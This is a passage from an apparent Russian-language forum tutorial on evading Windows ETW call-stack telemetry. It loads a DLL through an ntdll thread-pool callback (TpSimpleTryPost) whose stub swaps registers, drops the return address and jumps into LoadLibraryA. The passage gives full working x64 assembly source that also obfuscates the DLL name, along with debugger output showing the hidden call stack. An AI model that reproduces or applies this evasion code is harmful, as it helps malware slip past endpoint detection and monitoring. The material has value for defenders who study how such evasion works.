Значит TpSimpleTryPost() в первом аргументе ожидает увидеть указатель на колбек-функцию в нашем приложении. Однако если отойти от предписанных майками правил (которые как известно придуманы, чтобы их нарушать), то ничто не мешает нам подменить этот указатель, подставив вместо него линк на уже готовую Win32API, например пусть будет LoadLibrary(), которая подгрузит произвольную библиотеку с диска, в пространство нашего процесса. Тогда 2 оставшихся аргумента TpSimpleTryPost() можно будет использовать в качестве аргументов для (без шума и пыли) вызываемой LoadLibrary(), у которой всего 1 аргумент с указателем на имя библиотеки DLL. А что.. хорошая идея!
Но на практике мы столкнёмся с проблемой расположения аргументов. Дело в том, что по соглашению fastcall x64, первые(4) параметра передаются функциям API в регистрах
RCX,RDX,R8,R9
, а значит единственный аргумент lpDllName для LoadLibrary() должен быть прописан в первом регистре RCX
, хотя при вызове функции через колбек он окажется во-втором аргументе RDX
. То есть наглядно получим сл.картину:Выйти из данной ситуации можно просто создав колбек-функцию с трамплином/стаб, в которой тупо поменять значения регистров
RCX
и RDX
местами, и только после этого вызывать уже API LoadLibrary(). При этом непосредственный вызов должен осуществляться не стандартным способом через CALL
, а строго обычным прыжком JMP
, поскольку первая всё-равно сохранит в стек адрес-возврата в наш процесс, который мы так пытаемся скрыть.И здесь всплывает резонный вопрос: «Если управление в API передаётся без адреса-возврата инструкцией JMP, то как тогда родительский/основной поток нашего приложения получит обратно управление?». А ведь и правда.. при отсутствии адреса-возврата LoadLibrary() отработает-то нормально, только вот вернуться в свет уже не сможет, провалившись как в чёрную дыру. Без предпринятых заранее мер, рано или поздно это приведёт к краху приложения – тут и играет нам на руку внутренний таймер потоков пула.
Выше уже говорилось, что жизненный цикл их ограничен, и по истечении ~5..7 сек система безжалостно киляет их. По процессорным меркам, такой период является вечностью, а потому мы просто сами завершим поток обратного-вызова через WaitForSingleObject(), передав ей в аргументе хэндл рабочего процесса из фабрики ThreadPool, запросив его у GetCurrentProcess().
Ну вроде это всё, что требуется нам для обхода сторожей логгера ETW – вот пример реализации задуманного на практике.
Чтобы не было совсем уж скучно в секции-кода тестового приложения, я добавил в него инструкцию ротации всех бит имени библиотеки
ROR
(позволит типа зашифровать строку, хотя в реале это нужно было сделать заранее), а так-же вставил обычный вызов LoadLibrary(), чтобы наглядно увидеть разницу в окне «Стек-вызовов» отладчика.
C-подобный:
format pe64 console
include 'win64ax.inc'
entry start
;//-----------
section '.data' data readable writeable
fName db 'dbghelp.dll',0
align 8
buff db 0
;//-----------
section '.text' code readable executable
start: sub rsp,8
invoke SetConsoleTitle,<'*** Bypass Stack Telemetry v0.1 ***',0>
cinvoke printf,<10,' Default name: %s',0>,fName ;// покажем строку в дефолте
ror qword[fName],13 ;// ..теперь зашифруем её,
cinvoke printf,<10,' Cipher name: %s',10,0>,fName ;// ..и результат.
invoke LoadLibrary,<'msafd.dll',0> ;// подгрузим произвольную либу стд.способом
invoke TpSimpleTryPost,tpCallback,fName,0 ;// колбек из ThreadPool, и передаём в RDX линк на имя DLL
invoke WaitForSingleObject,<invoke GetCurrentProcess>,100 ;// прибить процесс пула чз 100 милли-сек!
invoke GetModuleHandle,<'dbghelp.dll',0> ;// проверим результат скрытой загрузки DLL!
cinvoke printf,<10,' DbgHelp: 0x%016llx %s',0>,rax,fName ;// на консоль его
@exit: cinvoke _getch
cinvoke exit, 0 ;// Game Over!
;//**********************************************************
;//******** Колбек функция для TpSimpleTryPost() ***********
;//**********************************************************
align 8
proc tpCallback
xchg rdx,rcx ;// обменять регистры местами
rol qword[fName],13 ;// расшифровать строку с именем DLL
pop rbx ;// удалить адрес-возврата из стека
jmp [LoadLibraryA] ;// ныряем в нёдра Kernel32.dll, и дальше в ThreadPool
;// ret ;// можно убрать, т.к. JMP ушёл безвозвратно
endp
;//**********************************************************
section '.idata' import data readable writeable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',\
user32,'user32.dll',ntdll,'ntdll.dll'
import ntdll,TpSimpleTryPost,'TpSimpleTryPost'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\user32.inc'
Как видим – план сработал, и либа Dbghelp.dll благополучно загрузилась в пространство моего процесса, но что самое главное, приложение не упало на обоих моих системах Win7/10. Теперь загрузим бинарь в отладчик, поставим точку останова BreakPoint на функцию
bp LoadLibraryA
, и запустив код на исполнение по F9, посмотрим на состояние стека-вызовов в одноимённом окне.Значит первый вызов LoadLibrary() стандартным способом оставил в стеке адрес-возврата в нашу секцию-кода, по которому логгер механизма ETW тут-же нас запалит. Зато если продолжить сейчас выполнение по F9, то попадём уже во-второй вызов LoadLibrary(), который порождает функция колбека ThreadPool. Упс.. от куда-то появился второй поток с идентификатором
Tid=4064
в нашем приложении, хотя мы его явно не создавали! При этом судя по отчёту дебагера, LoadLibrary() вернётся не в наш код, а в функцию TppSimplepExecuteCallback() системного механизма ThreadPool.В нашем-же основном потоке с
Tid=3184
лежит только безобидная WaitForSingleObject(), которая кстати форвардится (перенаправляется) из Kernel32.dll в нативную либу Ntdll.dll. Как результат, ETW уже запутается в последовательности вызовов кто-куда-зачем-почему, и может оставить данное действие наше кода в покое.Аналогичную картину можно наблюдать и в отладчике WinDbg:
Код:
0:000> bp LoadLibraryA
0:000> g
Breakpoint 1 hit
kernel32!LoadLibraryA:
00000000`77774780 48895c2410 mov qword ptr [rsp+10h],rbx
0:000> knf
# Memory Child-SP RetAddr Call Site
00 00000000`0006ff28 00000000`004020cb kernel32!LoadLibraryA
01 8 00000000`0006ff30 00000000`00402080 image00400000+0x20cb
02 8 00000000`0006ff38 00000000`00401000 image00400000+0x2080
03 8 00000000`0006ff40 00000000`0006f668 image00400000+0x1000
0:000> g
ModLoad: 00000000`73e60000 00000000`73e63000 C:\Windows\system32\msafd.dll
Breakpoint 1 hit
kernel32!LoadLibraryA:
00000000`77774780 48895c2410 mov qword ptr [rsp+10h],rbx
0:001> knf
# Memory Child-SP RetAddr Call Site
00 00000000`0029fc78 00000000`7798bff1 kernel32!LoadLibraryA
01 8 00000000`0029fc80 00000000`77a79257 ntdll!TppSimplepExecuteCallback+0x91
02 50 00000000`0029fcd0 00000000`77773d4d ntdll!TppWorkerThread+0x6f7
03 290 00000000`0029ff60 00000000`779d273d kernel32!BaseThreadInitThunk+0xd
04 30 00000000`0029ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:001> g
ModLoad: 000007fe`f6f70000 000007fe`f7095000 C:\Windows\system32\dbghelp.dll
ntdll!ZwTerminateProcess+0xa:
00000000`779e8d8a c3 ret
5. Заключение
Устройство и принцип работы обратных вызовов Callback само по себе носит таинственный характер, а в миксе с пулом системных потоков ThreadPool превращается в бронебойный снаряд разрывного действия. Усугубляет ситуацию ещё и то, что отлаживать потоки пула большинство дебагеров отказываются, тупо зависая на входе без каких-либо на это оснований.
Здесь мы рассмотрели лишь один «грязный» метод передачи управления в колбек, с ламерской правкой порядка аргументов в регистрах
RCX,RDX,R8,R9
. Однако если у вызываемой API первый параметр опциональный и может принимать любое значение, это на порядок усложняет анализ кода исследователем, т.к. даёт возможность дёргать за API без стабов напрямую. Учитывая общее число библиотек и функций в системе, такие функции есть, и нужно просто найти их.В скрепку положил экзешник на случай, если кто захочет потрассировать файл в отладчике. Удачи, до скорого!